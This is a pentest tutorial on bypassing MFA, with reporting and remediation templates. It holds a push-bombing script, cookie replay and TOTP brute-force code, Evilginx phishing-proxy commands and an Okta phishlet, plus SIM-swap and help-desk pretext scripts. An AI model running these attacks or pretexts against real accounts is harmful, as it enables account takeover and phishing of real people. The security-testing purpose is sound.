Hacking 2FA / MFA Authentication (Guide)
- Biohazard

- 4 days ago
- 12 min read

Hacking 2FA / MFA Authentication
2FA bypass testing is some of the highest-value work in a pentest. When MFA is configured but bypassable, the organization has a false sense of security that's worse than no MFA at all. Let's cover every practical attack vector. Here's a guide on hacking 2FA / MFA authentication.
The 2FA Attack Surface
MFA isn't one thing. It's a chain of components, and the chain breaks at the weakest link:
[User] → [Login Form] → [MFA Prompt] → [Session Token] → [Application]
↑ ↑ ↑ ↑ ↑
Phishing Brute force Push bombing Token theft Direct object
Bypass logic Cookie replay reference
Every arrow is an attack surface. You're testing them all.
Attack 1: MFA Fatigue / Push Bombing
When push notifications are the MFA method, you can overwhelm the user into accepting.
How It Works
Obtain valid credentials (phishing, breach, password spray)
Trigger repeated push notifications to the target's device
User eventually accepts — either by accident, to stop the noise, or thinking it's a system glitch
Testing Methodology
python
#!/usr/bin/env python3
"""
MFA Push Fatigue Testing Script
Authorized pentesting — tests push notification acceptance thresholds
"""
import requests
import time
import sys
TARGET_URL = "https://target.corp.com/login"
USERNAME = "jsmith@corp.com"
PASSWORD = "Summer2024!" # Known valid password
PUSH_INTERVAL = 60 # Seconds between push attempts
MAX_ATTEMPTS = 20 # Stop after this many
session = requests.Session()
def do_login():
"""Perform initial login to trigger MFA push"""
resp = session.post(
f"{TARGET_URL}/api/auth",
json={"username": USERNAME, "password": PASSWORD}
)
return resp
def trigger_mfa():
"""Re-send MFA push (endpoint varies by platform)"""
# Azure AD / Microsoft 365:
# POST to /common/login with same session cookie
# Duo:
# POST to /frame/web/v1/auth with device_token
resp = session.post(
f"{TARGET_URL}/api/mfa/challenge",
json={"method": "push"}
)
return resp
def check_mfa_status():
"""Poll whether MFA has been accepted"""
resp = session.get(f"{TARGET_URL}/api/mfa/status")
return resp.json().get("authenticated", False)
def main():
print(f"[*] Starting MFA fatigue test against {USERNAME}")
print(f"[*] Push interval: {PUSH_INTERVAL}s, Max: {MAX_ATTEMPTS} attempts")
print(f"[*] Estimated max duration: {MAX_ATTEMPTS * PUSH_INTERVAL / 60:.1f} min\n")
# Initial login
login_resp = do_login()
if login_resp.status_code != 200:
print(f"[-] Login failed: {login_resp.status_code}")
return
print("[+] Login successful — MFA push triggered")
for attempt in range(1, MAX_ATTEMPTS + 1):
print(f"[{attempt}/{MAX_ATTEMPTS}] Sending push notification...")
trigger_mfa()
time.sleep(5) # Brief wait for push delivery
if check_mfa_status():
print(f"\n[+] MFA ACCEPTED after {attempt} pushes!")
print(f"[+] Session token: {session.cookies.get('token')}")
return
print(f" Push #{attempt} not accepted. Waiting {PUSH_INTERVAL}s...")
time.sleep(PUSH_INTERVAL - 5)
print(f"\n[-] MFA not accepted after {MAX_ATTEMPTS} attempts")
print("[*] Finding: Push fatigue resistance confirmed OR user absent")
if __name__ == "__main__":
main()What To Document
markdown
## Finding: MFA Push Notification Fatigue
**Test Parameters**:
- Attempts sent: [X]
- Time elapsed: [Y] minutes
- User response: [Accepted on attempt #Z / Not accepted]
**Finding (if accepted)**:
The target accepted the MFA push notification after [Z] repeated
requests without actively initiating a login. The push notification
displayed no contextual information (location, IP, request reason)
that would allow the user to distinguish a legitimate request from
an attacker's.
**Impact**: An attacker with stolen credentials can bypass MFA through
push notification fatigue, gaining access to corporate resources.
**CVSS**: 7.5 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
**Remediation**:
1. Enable number matching (user must type a 2-digit code from the
login screen into the authenticator)
2. Display context in push: requesting IP, geolocation, application
3. Rate-limit push notifications (5 per user per minute max)
4. Progressive lockout — after 3 denied pushes, block for 15 minutesAttack 2: Session Token / Cookie Theft
If MFA protects login but the resulting session token isn't bound to anything, stealing the token bypasses MFA entirely.
Cookie Replay Attack
bash
# 1. Obtain session cookies (via infostealer log, XSS, or network sniffing)
# Typical cookies of interest:
# - .AspNet.ApplicationCookie (ASP.NET)
# - session, connect.sid (Express/Node)
# - JSESSIONID (Java)
# - PHPSESSID (PHP)
# - __Host-session, __Secure-session (Django/Flask)
# 2. Import the cookie into your browser
# Chrome DevTools → Application → Cookies → paste values
# 3. Navigate to the application — you're authenticated
# MFA never triggers because the session is already established
# 4. For programmatic replay:
curl -s "https://target.corp.com/dashboard" \
-H "Cookie: session=eyJhbGciOiJIUzI1NiIs..." \
-H "Cookie: .AspNet.ApplicationCookie=KJDHF8732HD..."
Testing for Session Binding
The pentest question: "Does this session token work from a different IP? Different browser? Different device?"
python
#!/usr/bin/env python3
"""
Session portability test — does the session token work from elsewhere?
"""
import requests
def test_session_portability(session_cookie, target_url):
"""Test if a session cookie works from multiple source IPs"""
# Test 1: Same session from different IP (via proxy/VPN)
proxies = {"https": "socks5://127.0.0.1:9050"} # Tor
resp_normal = requests.get(target_url, headers={"Cookie": session_cookie})
resp_tor = requests.get(target_url, headers={"Cookie": session_cookie}, proxies=proxies)
resp_vpn = requests.get(target_url, headers={"Cookie": session_cookie}, proxies={"https": "http://vpn-gateway:8080"})
findings = []
if resp_normal.status_code == 200 and "dashboard" in resp_normal.text.lower():
findings.append("Session valid from original IP")
if resp_tor.status_code == 200 and "dashboard" in resp_tor.text.lower():
findings.append("CRITICAL: Session valid from Tor exit node — no IP binding")
if resp_vpn.status_code == 200 and "dashboard" in resp_vpn.text.lower():
findings.append("CRITICAL: Session portable across IPs — no geolocation check")
return findings
# Test 2: Does MFA re-prompt for sensitive actions?
def test_step_up_auth(session_cookie, target_url):
"""Test if MFA is required for sensitive operations"""
sensitive_actions = [
("Change Password", "/account/password/change", "POST"),
("Add MFA Device", "/account/mfa/add", "POST"),
("API Key Generation", "/account/api-keys/create", "POST"),
("Disable MFA", "/account/mfa/disable", "POST"),
("Wire Transfer", "/banking/transfer", "POST"),
]
findings = []
for name, path, method in sensitive_actions:
if method == "POST":
resp = requests.post(f"{target_url}{path}",
headers={"Cookie": session_cookie})
else:
resp = requests.get(f"{target_url}{path}",
headers={"Cookie": session_cookie})
# Check if MFA challenge was triggered
if "mfa" not in resp.url.lower() and "verify" not in resp.url.lower():
if resp.status_code == 200:
findings.append(f"NO STEP-UP MFA: {name} accessible without re-auth")
return findings
What to Document
markdown
## Finding: MFA Session Token Not IP-Bound
**Test**: Authenticated session cookie was replayed from a Tor exit
node (different continent) and successfully accessed the application
without MFA re-prompt.
**Impact**:
- Session cookies stolen via XSS, infostealer malware, or network
interception grant persistent access without MFA
- Token remains valid across network changes, browser changes,
and geographic locations
- No step-up authentication for sensitive actions (password change,
MFA disable, API key creation)
**CVSS**: 8.8 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
**Remediation**:
1. Bind sessions to IP address/ASN (with grace for mobile IP changes)
2. Bind sessions to browser fingerprint
3. Implement step-up MFA for sensitive actions
4. Reduce session lifetime (4 hours max for sensitive apps)
5. Detect and invalidate sessions on anomalous geolocation jumpsAttack 3: Phishing Proxy / Adversary-in-the-Middle (AiTM)
This is the gold standard MFA bypass. Tools like Evilginx intercept the entire login flow, including the MFA token.
How It Works
User → [Evilginx Phishing Page] → [Real Microsoft Login] → [Real MFA Prompt]
↓
Evilginx captures session cookie
after MFA completes
User sees: normal login, normal MFA, normal dashboard
Attacker gets: authenticated session cookie (bypasses MFA permanently)
Evilginx 3 Setup
bash
# Evilginx 3 — currently maintained, updated for modern MFA
git clone https://github.com/kgretzky/evilginx2 # Despite name, it's v3
cd evilginx2
make
# Start
sudo ./bin/evilginx -p ./phishlets/
# Configure phishlet for target (e.g., Microsoft 365)
config domain phishing-domain.com
config ip 10.0.0.100
# Use a phishlet — pre-built templates for common services
phishlets hostname o365 phishing-domain.com
phishlets enable o365
# Create the lure URL
lures create o365
lures get-url 0
# → https://login.microsoftonline.com.phishing-domain.com/xxxxx
# Set up redirect (user lands here after successful auth)
lures edit 0 redirect_url https://target.corp.com
# Now when the user visits the lure URL:
# 1. Evilginx proxies the real Microsoft login page
# 2. User enters email + password
# 3. Evilginx proxies the MFA prompt
# 4. User completes MFA (approves push, enters TOTP)
# 5. Evilginx captures the post-MFA session cookie
# 6. User is redirected to target.corp.com (they see nothing suspicious)
# 7. Attacker uses the captured session cookie → full access
# View captured sessions:
sessions
# Shows: username, password, session cookie, MFA token type
Custom Phishlet for Corporate SSO
If the target uses Okta, Duo, PingFederate, or a custom SAML/OIDC provider:
javascript
// Custom phishlet template — Okta example
{
"name": "okta-corp",
"author": "Pentest Team",
"target": {
"login_url": "https://corp.okta.com/login/login.htm",
"domain": "corp.okta.com"
},
"sub_filters": [
{
"triggers_on": "corp.okta.com",
"origins": ["corp.okta.com", "login.okta.com"],
"search": "corp.okta.com",
"replace": "corp.okta.com.phishing-domain.com"
}
],
"params": {
"session": [
{ "name": "sid", "method": "cookie" },
{ "name": "DT", "method": "cookie" },
{ "name": "JSESSIONID", "method": "cookie" }
],
"credentials": [
{ "name": "username", "method": "post", "key": "username" },
{ "name": "password", "method": "post", "key": "password" }
]
}
}
AiTM Detection Testing
Phishing proxies add latency and modify SSL certificates. Test whether the target organization's users or endpoint protection would detect your proxy:
bash
# Indicators that a phishing proxy is in use:
# 1. TLS certificate — proxy's cert, not Microsoft's
# 2. Latency — extra hop adds 50-200ms
# 3. Header inspection — proxy leaves artifacts
# 4. URL mismatch — phishing-domain.com vs microsoftonline.com
# Test: does the endpoint security solution flag these?
# Document whether EDR/email security caught the phishing emailAttack 4: SMS/Voice MFA Interception
SIM Swapping
SMS-based MFA is vulnerable to SIM swap attacks. Test whether the organization relies on SMS MFA for critical systems:
bash
# The SIM swap test (SOCIAL ENGINEERING — document in ROE):
# 1. Gather target's personal info (from OSINT, data leaks)
# - Full name, DOB, address, last 4 SSN
# - Phone number, carrier
# 2. Call carrier, attempt to "recover" the SIM to your device
# "Hi, I dropped my phone in the pool. Can you activate
# my number on this new SIM? IMEI is XXXX..."
# 3. If successful: all SMS MFA codes now come to your device
# Bypass MFA on everything: email, banking, corporate VPN
# 4. Document the carrier's authentication process:
# - What verification was required?
# - Was a port-out PIN required?
# - How long did the call take?
# - Was there a cooldown period before the SIM activated?
# FINDING if successful:
# Carrier authentication insufficient — SIM swap achieved with
# [X] pieces of publicly available information.
# All SMS-based MFA is now compromised.
SS7/Signaling Attacks
For telecom-level assessments (requires specialized carrier access):
bash
# Not practical for most pentests — requires:
# - Access to SS7 signaling network
# - Or relationship with an SMS gateway provider
# - Or a compromised mobile network operator
# Document as theoretical threat vector:
# "SMS MFA is vulnerable to SS7 interception attacks."
Voicemail PIN Bypass
If MFA offers a "call me" option where a code is read over the phone:
bash
# 1. Test if the target's voicemail has a default PIN
# Common carrier defaults: last 4 of phone number, 0000, 1234
# 2. Call from a spoofed number (the target's own number)
# Many carriers skip PIN verification for calls from the same number
# 3. Access voicemail, retrieve MFA codeAttack 5: TOTP Seed Extraction
Time-Based One-Time Passwords are secure only if the shared secret is protected.
From Authenticator App Backup
bash
# Many users back up authenticator databases to cloud:
# Google Authenticator: QR code export → screenshot saved to Google Photos
# Authy: cloud backup enabled by default
# Microsoft Authenticator: backs up to iCloud/Google account
# If the target's cloud account is compromised:
# 1. Restore authenticator backup to attacker device
# 2. Generate valid TOTP codes for all accounts
# 3. No notification sent to user
From QR Code Enumeration
During legitimate MFA setup, the QR code is often accessible after initial setup:
bash
# 1. Register a new MFA device (requires valid session)
# 2. Intercept the QR code URL in the response:
# data:image/png;base64,iVBORw0KGgoAAAANSUh...
# or
# otpauth://totp/Corp:user@domain.com?secret=JBSWY3DPEHPK3PXP...
# 3. Decode the QR or extract the secret parameter
# 4. The TOTP secret is now known — you can generate valid codes forever
# Test: Does the application reveal the QR/secret again on
# "I lost my authenticator" flow? This is a finding.
TOTP Brute Force (Rate Limit Testing)
python
#!/usr/bin/env python3
"""
TOTP brute force — tests rate limiting on MFA code entry.
The codespace is only 1,000,000 (6 digits). Rate limiting is the ONLY defense.
"""
import requests
import time
def test_totp_rate_limiting(target_url, session_cookie, max_attempts=50):
"""Test if TOTP verification has rate limiting"""
session = requests.Session()
session.headers.update({"Cookie": session_cookie})
blocked = False
successful_attempts = 0
for attempt in range(1, max_attempts + 1):
# Try a guaranteed-wrong code
code = f"{attempt:06d}"[-6:]
resp = session.post(
f"{target_url}/api/mfa/verify",
json={"code": code, "method": "totp"}
)
if resp.status_code == 429:
print(f" Blocked at attempt {attempt} (rate limiting active)")
blocked = True
break
if resp.status_code == 200 and "authenticated" in resp.text.lower():
print(f" [!] UNEXPECTED SUCCESS on attempt {attempt}")
successful_attempts += 1
if "locked" in resp.text.lower() or "too many" in resp.text.lower():
print(f" Account locked at attempt {attempt}")
blocked = True
break
time.sleep(0.1) # Fast-fire to test limits
findings = []
if not blocked and max_attempts >= 30:
findings.append(
"CRITICAL: TOTP accepts unlimited incorrect attempts — "
"brute force of 6-digit code feasible within hours"
)
if successful_attempts > 0:
findings.append("TOTP validation logic appears broken")
return findingsAttack 6: MFA Bypass via Direct Navigation
Many applications apply MFA only to the login page, not to internal pages.
Direct URL Access
bash
# After a partially-completed login (username + password submitted,
# MFA prompt displayed):
# Try accessing internal URLs directly:
curl -s "https://target.corp.com/dashboard" \
-H "Cookie: [session cookie from post-login-pre-MFA]"
curl -s "https://target.corp.com/api/user/profile" \
-H "Cookie: [session cookie from post-login-pre-MFA]"
curl -s "https://target.corp.com/admin" \
-H "Cookie: [session cookie from post-login-pre-MFA]"
# If ANY of these return the authenticated page instead of
# redirecting to MFA, you have a finding.
API Bypass
bash
# Mobile apps often skip MFA via API key or bearer token
# After initial login (before MFA), test API endpoints:
curl -s "https://api.corp.com/v1/user/data" \
-H "Authorization: Bearer [pre-MFA token]"
# Check if a pre-MFA token grants API access
# Common pattern: web app enforces MFA, mobile API does not
SSO Token Forging
bash
# If the application trusts SSO tokens:
# Test whether a pre-MFA SAML assertion is accepted
# Test whether a different application's valid token grants access
# (token-reuse across apps in same SSO federation)Attack 8: Race Conditions and Logic Bugs
The "I lost my phone" flow is often the weakest link.
Backup Code Discovery
bash
# Backup codes are typically:
# - Generated at MFA setup time
# - Downloaded or printed as a text file
# - Stored in: Downloads folder, Desktop, email inbox,
# printed in desk drawer, saved to password manager
# Test:
# 1. Does the target store backup codes in a discoverable location?
# (check for "backup-codes.txt", "recovery-keys.txt" in common locations)
# 2. Does the MFA system allow unlimited backup code attempts?
# Backup codes are 8-10 characters — if rate-limited, fine.
# If not, brute-force is possible.
Social Engineering the Help Desk
bash
# The MFA reset flow test:
# 1. Call IT help desk: "Hi, new phone. Need MFA reset for VPN access."
# 2. Document what verification they require:
# - "What's your employee ID?" (printed on badge, visible in photos)
# - "What's your manager's name?" (public on LinkedIn)
# - "What's your date of birth?" (breach data, social media)
# - "I'll send a code to your email" (if email isn't MFA-protected)
# If help desk resets MFA with weak verification:
# The entire MFA protection collapses back to password-level security
Email-Based MFA Reset
bash
# If MFA recovery sends codes to email:
# Is the email account itself MFA-protected?
# If not: compromise email → reset MFA → bypass MFA on all linked accounts
# This is the classic "MFA is only as strong as the recovery method"Attack 9: Misconfigured MFA Enforcement
Conditional Access Gaps
bash
# Azure AD / Microsoft 365 specific:
# Test MFA bypass via legacy protocols:
# POP3/IMAP (often excluded from MFA):
curl -v "pop3s://outlook.office365.com" -u "user@corp.com:password"
# SMTP auth (often excluded):
swaks --to target@corp.com --from user@corp.com \
--server smtp.office365.com --port 587 --tls \
--auth LOGIN --auth-user user@corp.com --auth-password "password"
# ActiveSync (EAS) — often excluded:
# Test via mobile device or activesync endpoint
# PowerSHELL / Exchange Online PS (basic auth):
Connect-ExchangeOnline -UserPrincipalName user@corp.com -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
# If ANY of these work with just password (no MFA):
# Finding: MFA bypass via legacy protocol
Trusted Location Bypass
bash
# Many orgs disable MFA for "trusted" office IPs:
# Test from:
# - The office wireless network (if you gained access via physical/guest)
# - A VPN connection (if one endpoint doesn't require MFA)
# - After compromising an office machine (pivot through internal network)
# Test from office IP:
curl -s "https://target.corp.com/login" \
--interface [office-network-interface]
# If MFA is skipped: you've bypassed MFA by being on the trusted network.
# This becomes critical if you can gain ANY foothold on the internal network.Penetration Testing Methodology
PHASE 1: RECONNAISSANCE
├── Identify MFA solution (Duo, Okta, Azure MFA, custom)
├── Identify MFA methods in use (push, TOTP, SMS, FIDO2, voice)
├── Enumerate login flow (redirects, cookies, API calls)
├── Check for legacy protocol endpoints
├── Test whether pre-MFA session is partially valid
└── Map recovery/reset flow (help desk, backup codes, email fallback)
PHASE 2: CONFIGURATION TESTING
├── Direct URL access with pre-MFA session
├── API access with pre-MFA token
├── Legacy protocol bypass (POP3, IMAP, SMTP, ActiveSync)
├── Trusted location bypass (from internal network)
├── Mobile app API vs web app MFA enforcement gap
└── Rate limiting on MFA code entry
PHASE 3: CREDENTIAL + MFA ATTACK
├── Push notification fatigue (if push MFA)
├── AiTM phishing proxy (Evilginx with custom phishlet)
├── TOTP seed exposure (QR code re-display, backup restore)
├── SMS interception (SIM swap feasibility)
├── Voicemail MFA code theft
└── Backup code brute force (if no rate limit)
PHASE 4: POST-MFA SESSION ATTACKS
├── Session cookie portability (different IP, browser, device)
├── Session lifetime (how long until re-auth?)
├── Step-up MFA for sensitive actions (password change, MFA disable)
├── Concurrent session limits
└── Session invalidation on logout
PHASE 5: RECOVERY FLOW TESTING
├── Help desk social engineering (what verification required?)
├── Email account MFA dependency (is recovery email MFA-protected?)
├── Backup code discovery (where stored? accessible?)
├── New device enrollment (can you add your own MFA device?)
└── MFA reset via compromised email (chain analysis)Quick Reference: MFA Technology-Specific Tests
Technology | Primary Attack | Secondary Attack |
Push notification | Fatigue / bombing | Phishing proxy (push + approval) |
TOTP (Google Auth style) | Phishing proxy (real-time relay) | QR code seed theft, rate limit brute force |
SMS code | SIM swap | SS7 intercept, voicemail PIN bypass |
Voice call | Voicemail access | SIM swap, call forwarding |
FIDO2 / WebAuthn | Token physical theft | Phishing proxy (non-phishable if properly implemented) |
Hardware token (YubiKey) | Physical theft | None if properly implemented |
Email code | Email account compromise | Email account MFA status |
Biometric (platform) | Device compromise | Platform authenticator bypass |
Magic link (email) | Email compromise | None if properly implemented |
Backup codes | Discovery (stored locally) | Brute force (if not rate-limited) |
Reporting Template
markdown
## Finding: MFA Bypass via [Method]
**MFA Solution**: [Duo / Okta / Azure MFA / Custom]
**MFA Method**: [Push / TOTP / SMS / etc.]
**Attack Vector**: [Description of the specific bypass]
### Technical Details
[Step-by-step reproduction]
### Root Cause
[Why the bypass worked — missing rate limit, no session binding,
legacy protocol enabled, no step-up auth, etc.]
### Impact
An attacker with [stolen credentials / phishing success / SIM swap / etc.]
can bypass multi-factor authentication because [specific reason].
### Evidence
[Session cookie that remained valid, successful API call, accepted
push notification, screenshot of pre-MFA dashboard access, etc.]
### CVSS: [Score]
AV:[N/A/P] / AC:[L/M/H] / PR:[N/L/H] / UI:[N/R] / S:[U/C] / C:[H/M/L/N] / I:[H/M/L/N] / A:[H/M/L/N]
### Remediation
1. [Specific technical fix]
2. [Configuration change]
3. [Policy/procedure change]
4. [Detection rule for SOC — how to identify this attack]



Comments